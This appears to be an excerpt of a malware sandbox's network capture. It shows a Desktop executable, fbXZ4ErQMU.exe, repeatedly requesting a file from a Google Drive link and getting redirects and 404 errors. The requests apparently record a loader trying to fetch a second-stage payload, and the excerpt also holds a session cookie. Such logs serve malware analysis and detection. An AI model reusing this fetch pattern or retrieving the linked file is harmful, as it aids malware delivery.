2024-12-05 16:08:14 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:14 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:14 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-tccQIFdPNirGnZUTgAPo9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49808	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:15 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:15 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:15 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-9vvGfA2HO0cqhM8DgDGgxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC662w_ozE6mpmBiQ0HZWLBYeBDxKsze3quUGohjbo3MMdfr9FMxgm_gxcn_H5H4_jqkgHPadg2x0g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:08:15 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 50 42 2d 4c 64 42 5a 51 35 4e 34 63 62 78 58 31 38 57 68 37 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6PB-LdBZQ5N4cbxX18Wh7Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49809	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:25 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:26 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:25 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-pRCgEhwviAKTKxpjgTcnXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.20	49810	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:26 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:26 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:26 GMT Content-Security-Policy: script-src 'nonce-7-03QxQb97E_Ufe9rc4Bng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC7dex4EYLaJpvfC7NMmr4MRAC3ru8U9uzOw3tNgwArQL5hqjc2gZbPwvPZhZ2QtrNM2zV4dQc2bkA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:08:26 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 33 6c 48 39 5a 37 38 35 35 6b 6a 4e 30 59 77 53 6d 4a 69 36 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y3lH9Z7855kjN0YwSmJi6Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.20	49811	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:36 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:37 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:37 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Ff15Zi-EgfSrbeUA5LNPAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.20	49812	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:37 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:37 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:37 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-uCoUTF2a_GYBEUlDdKGlcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC7MbuDB0N3d-oWBCrkLsSpynXVdBlel4wPreBjqfrWKwsL2H50bEuga4RPOGT7GnNDJ1E4CqSmu4Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:08:37 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 31 42 49 32 6e 70 63 74 38 33 52 53 31 58 32 35 48 69 6c 30 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="C1BI2npct83RS1X25Hil0g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.20	49813	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:48 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:48 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-sv5fWaz_QcqTSD2BalFEbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.20	49814	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:48 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:48 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:48 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SvCIib4xIIGOMaB8VGxvpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC53MR9wRBGHqPY0M1JN37EVuAwQFnIpEbFHzrUSqaPnpC6-dvrvXQ0Rdwx3NVSWIfmx40M Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:08:48 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 71 4c 73 76 69 5a 4b 38 41 4e 39 62 63 41 79 73 48 75 4d 73 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1qLsviZK8AN9bcAysHuMsw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.20	49815	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
